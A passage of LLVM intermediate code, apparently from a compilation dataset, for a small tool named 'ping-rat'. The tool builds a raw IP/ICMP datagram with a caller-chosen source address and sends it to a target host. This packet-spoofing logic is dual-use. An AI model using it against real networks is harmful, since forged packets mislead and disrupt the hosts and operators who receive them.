%198 = call i32 (i32, i8*, ...) @fprintf(i32 %197, i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.8, i64 0, i64 0))
br label %199
199: ; preds = %196, %194
store i32 0, i32* %3
br label %200
200: ; preds = %199, %183, %76, %57, %45, %39, %19
%201 = load i32, i32* %3
ret i32 %201
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_8__, i64, i32 }
%struct.TYPE_8__ = type { i32 }
%struct.protoent = type { i32 }
%struct.hostent = type { i32, i32 }
%struct.sockaddr = type { i32 }
@.str = [5 x i8] c"icmp\00"
@stderr = global i32 0
@.str.1 = [34 x i8] c"ping-rat: unknown protocol icmp.\0A\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@errno = global i64 0
@EPERM = global i64 0
@.str.2 = [38 x i8] c"ping-rat: ping-rat must run as root.\0A\00"
@.str.3 = [17 x i8] c"ping-rat: socket\00"
@.str.4 = [29 x i8] c"Usage: %s <src ip> <dst ip>\0A\00"
@.str.5 = [27 x i8] c"ping-rat: unknown host %s\0A\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.6 = [20 x i8] c"ping-rat: IP header\00"
@.str.7 = [33 x i8] c"ping-rat: error sending datagram\00"
@stdout = global i32 0
@.str.8 = [39 x i8] c"ping-rat: datagram successfully sent.\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca i32
%5 = alloca [136 x i8]
%6 = bitcast %struct.sockaddr_in* %3 to i8*
%7 = bitcast i32* %4 to i8*
%8 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 0
%9 = tail call %struct.protoent* @getprotobyname(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%10 = icmp eq %struct.protoent* %9, null
br i1 %10, label %11, label %14
11: ; preds = %2
%12 = load i32, i32* @stderr
%13 = tail call i32 (i32, i8*, ...) @fprintf(i32 %12, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0))
br label %121
14: ; preds = %2
%15 = load i32, i32* @AF_INET
%16 = load i32, i32* @SOCK_RAW
%17 = getelementptr inbounds %struct.protoent, %struct.protoent* %9, i64 0, i32 0
%18 = load i32, i32* %17
%19 = tail call i32 @socket(i32 %15, i32 %16, i32 %18)
%20 = icmp slt i32 %19, 0
br i1 %20, label %21, label %30
21: ; preds = %14
%22 = load i64, i64* @errno
%23 = load i64, i64* @EPERM
%24 = icmp eq i64 %22, %23
br i1 %24, label %25, label %28
25: ; preds = %21
%26 = load i32, i32* @stderr
%27 = tail call i32 (i32, i8*, ...) @fprintf(i32 %26, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.2, i64 0, i64 0))
br label %121
28: ; preds = %21
%29 = tail call i32 @perror(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
br label %121
30: ; preds = %14
%31 = tail call i32 (...) @getuid()
%32 = tail call i32 @setuid(i32 %31)
%33 = icmp eq i32 %0, 3
br i1 %33, label %38, label %34
34: ; preds = %30
%35 = load i32, i32* @stderr
%36 = load i8*, i8** %1
%37 = tail call i32 (i32, i8*, ...) @fprintf(i32 %35, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.4, i64 0, i64 0), i8* %36)
br label %121
38: ; preds = %30
%39 = getelementptr inbounds i8*, i8** %1, i64 1
%40 = load i8*, i8** %39
%41 = tail call %struct.hostent* @gethostbyname(i8* %40)
%42 = icmp eq %struct.hostent* %41, null
br i1 %42, label %43, label %47
43: ; preds = %38
%44 = load i32, i32* @stderr
%45 = load i8*, i8** %39
%46 = tail call i32 (i32, i8*, ...) @fprintf(i32 %44, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i8* %45)
br label %121
47: ; preds = %38
%48 = getelementptr inbounds %struct.hostent, %struct.hostent* %41, i64 0, i32 1
%49 = load i32, i32* %48
%50 = getelementptr inbounds %struct.hostent, %struct.hostent* %41, i64 0, i32 0
%51 = load i32, i32* %50
%52 = call i32 @memcpy(i32* %4, i32 %49, i32 %51)
%53 = getelementptr inbounds i8*, i8** %1, i64 2
%54 = load i8*, i8** %53
%55 = call %struct.hostent* @gethostbyname(i8* %54)
%56 = icmp eq %struct.hostent* %55, null
br i1 %56, label %57, label %61
57: ; preds = %47
%58 = load i32, i32* @stderr
%59 = load i8*, i8** %53
%60 = call i32 (i32, i8*, ...) @fprintf(i32 %58, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i8* %59)
br label %121
61: ; preds = %47
%62 = load i32, i32* @AF_INET
%63 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %62, i32* %63
%64 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i64 0, i64* %64
%65 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0, i32 0
%66 = getelementptr inbounds %struct.hostent, %struct.hostent* %55, i64 0, i32 1
%67 = load i32, i32* %66
%68 = getelementptr inbounds %struct.hostent, %struct.hostent* %55, i64 0, i32 0
%69 = load i32, i32* %68
%70 = call i32 @memcpy(i32* %65, i32 %67, i32 %69)
%71 = call i32 @memset(i8* %8, i32 0, i32 136)
%72 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 64
store i8 -103, i8* %72
%73 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 65
store i8 40, i8* %73
%74 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 66
%75 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 56
%76 = bitcast i8* %75 to i64*
store i64 0, i64* %76
%77 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 40
%78 = bitcast [136 x i8]* %5 to <4 x i32>*
store <4 x i32> <i32 4, i32 15, i32 136, i32 127>, <4 x i32>* %78
%79 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 16
%80 = bitcast i8* %79 to i32*
store i32 1, i32* %80
%81 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 24
%82 = bitcast i8* %81 to i8**
store i8* null, i8** %82
%83 = load i32, i32* %4
%84 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 36
%85 = bitcast i8* %84 to i32*
store i32 %83, i32* %85
%86 = load i32, i32* %65
%87 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 32
%88 = bitcast i8* %87 to i32*
store i32 %86, i32* %88
%89 = bitcast [136 x i8]* %5 to i16*
%90 = call i8* @csum(i16* %89, i32 68)
store i8* %90, i8** %82
%91 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 104
%92 = bitcast i8* %91 to i32*
store i32 8, i32* %92
%93 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 128
%94 = bitcast i8* %93 to i64*
store i64 0, i64* %94
%95 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 112
%96 = bitcast i8* %95 to i8**
store i8* null, i8** %96
%97 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 120
%98 = bitcast i8* %97 to i32*
store i32 18, i32* %98
%99 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 124
%100 = bitcast i8* %99 to i32*
store i32 33, i32* %100
%101 = bitcast i8* %91 to i16*
%102 = call i8* @csum(i16* %101, i32 4)
store i8* %102, i8** %96
%103 = load i32, i32* @IPPROTO_IP
%104 = load i32, i32* @IP_HDRINCL
%105 = call i64 @setsockopt(i32 %19, i32 %103, i32 %104, i8* %8, i32 64)
%106 = icmp slt i64 %105, 0
br i1 %106, label %107, label %109
107: ; preds = %61
%108 = call i32 @perror(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
br label %121
109: ; preds = %61
%110 = getelementptr inbounds [136 x i8], [136 x i8]* %5, i64 0, i64 8
%111 = bitcast i8* %110 to i32*
%112 = load i32, i32* %111
%113 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%114 = call i64 @sendto(i32 %19, i8* %8, i32 %112, i32 0, %struct.sockaddr* %113, i32 24)
%115 = icmp slt i64 %114, 0
br i1 %115, label %116, label %118
116: ; preds = %109
%117 = call i32 @perror(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.7, i64 0, i64 0))
br label %121
118: ; preds = %109
%119 = load i32, i32* @stdout
%120 = call i32 (i32, i8*, ...) @fprintf(i32 %119, i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.8, i64 0, i64 0))
br label %121
121: ; preds = %116, %118, %25, %28, %107, %57, %43, %34, %11
%122 = phi i32 [ 1, %34 ], [ 1, %107 ], [ 1, %57 ], [ 1, %43 ], [ 1, %11 ], [ 1, %28 ], [ 1, %25 ], [ 0, %118 ], [ 0, %116 ]
ret i32 %122
}